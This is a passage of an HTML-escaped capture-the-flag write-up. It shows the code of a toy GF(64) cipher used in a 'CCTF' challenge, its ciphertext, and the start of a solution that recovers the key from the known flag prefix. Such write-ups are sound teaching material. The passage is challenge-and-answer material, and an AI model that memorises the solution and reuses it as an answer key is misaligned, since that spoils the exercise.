&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-assert z-python&quot;&gt;assert&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt;in&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-return z-python&quot;&gt;return&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;&lt;span class=&quot;z-keyword z-declaration z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;encrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;msg&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-parameters z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-function z-begin z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;b64encode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;msg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;, &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;pkey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;, &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;5&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;3&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;2&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-for z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;		&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-augmented z-python&quot;&gt;+=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;pkey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;*&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;maptofarm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;chr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-return z-python&quot;&gt;return&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; KEEP IT SECRET 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;keygen&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;14&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; I think 64**14 &amp;gt; 2**64 is not brute-forcible :P
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;encrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-interpolated z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;enc = &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python z-embedded&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-interpolation z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-interpolation z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;enc = 805c9GMYuD5RefTmabUNfS9N9YrkwbAbdZE0df91uCEytcoy9FDSbZ8Ay8jj&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see that the alphabet is mapped to polynomial in GF(64). The encryption is a simple linear substitution of each character of the flag in base64 and can be easily reversed.&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Encrypted Char = key * Char
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which can be reversed to&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Char = (Encrypted Char) &#x2F; key
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We just need to find the key and for this we can use the fact the flag must begin by &lt;code&gt;CCTF{&lt;&#x2F;code&gt; (&lt;code&gt;Q0NURns=&lt;&#x2F;code&gt; in base 64) to find it because&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;key = (Encrypted Char) &#x2F; Char
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;implementation&quot;&gt;Implementation&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;string&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-import-list z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;math&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;string&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;printable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-slice z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;62&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-constant z-character z-escape z-python&quot;&gt;\\&lt;&#x2F;span&gt;=&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;GF&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;64&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;805c9GMYuD5RefTmabUNfS9N9YrkwbAbdZE0df91uCEytcoy9FDSbZ8Ay8jj&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
